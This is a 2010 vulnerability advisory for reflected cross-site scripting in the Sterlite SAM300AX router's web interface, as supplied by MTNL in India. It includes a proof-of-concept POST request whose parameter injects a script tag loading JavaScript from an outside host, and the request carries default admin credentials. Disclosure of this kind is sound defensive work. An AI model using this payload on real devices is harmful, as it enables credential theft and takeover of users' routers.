Text :  

*Sterlite SAM300AX ADSL router* is provided through MTNL, New Delhi,
India,
amongst other national / international locations
(www.sterlitetechnologies.com /
http://sterlitetechnologies.com/sterlite.aspx).

##########

*+About MTNL+*

http://mtnldelhi.in/glance/index.htm

MTNL was set up on 1st April, 1986 by the Government of India to upgrade
the
quality of telecom services, expand the telecom network, introduce new
services and to raise revenue for telecom development needs of
India�s key
metros � Delhi, the political capital and Mumbai, the business
capital of
India.

Govt. of India currently holds 56.25% stake in the company.

*+Broadband device used+*

http://delhi.mtnl.net.in/services/broadband.htm

Sterlite SAM300AX ADSL router is deployed by MTNL at user's end (usually
home / small office) for internet broadband services.

*+Vulnerability+*

A. Reflective Cross Site Scripting ( May also result in remote code
execution )

*+Details of Vulnerability+*

The management interface of the router is accessible through HTTP. After
logging in, we are presented with various administrative screens.

It has been found that the user input is not properly filtered and / or
encoded by the application. Hence, allowing an attacker to execute scripts
on the user's browser.

*+Pre-Requisites+*
*User logged on to the Router.*
*
+PoC+*

One of the vulnerable HTTP requests & parameters is provided below for
reference.
Go to Menu -> Statistics

*+POST Request+*

POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7)
Gecko/20091221 Firefox/3.5.7 Paros/3.2.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/status/status_statistics.htm
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Content-length: 101

*+POST Parameters+*

Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org
%2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH

*+Impact+*

High Impact. This device is supplied in Delhi, and Mumbai through MTNL, a
Govt. of India controlled organization. As there is no filtering /
encoding
in place, an attacker has the opportunity to get the scripts executed by
the
user (logged on to the router http://192.168.1.1). XSS can be used to
obtain
login credentials, download malware, execute scripts from external
sources,
gain access to the system and subsequently perform further serious attacks
like DoS/DDoS.

*+Solution+*

A. Sanitize / filter all input.
B. Ensure ALL Input and Output is encoded properly.

*+References+*
-> OWASP (www.owasp.org)

##########

*Vulnerability Found:* January 19, 2010

*Vendor First Notified: January 20, 2010 *
*Vendor Response:* None

*Follow Up Notification: *January 27, 2010
*Vendor Response:* None

*Public Disclosure:* February 05, 2010

##########

Best Regards,
Karn Ganeshen

  References :  

None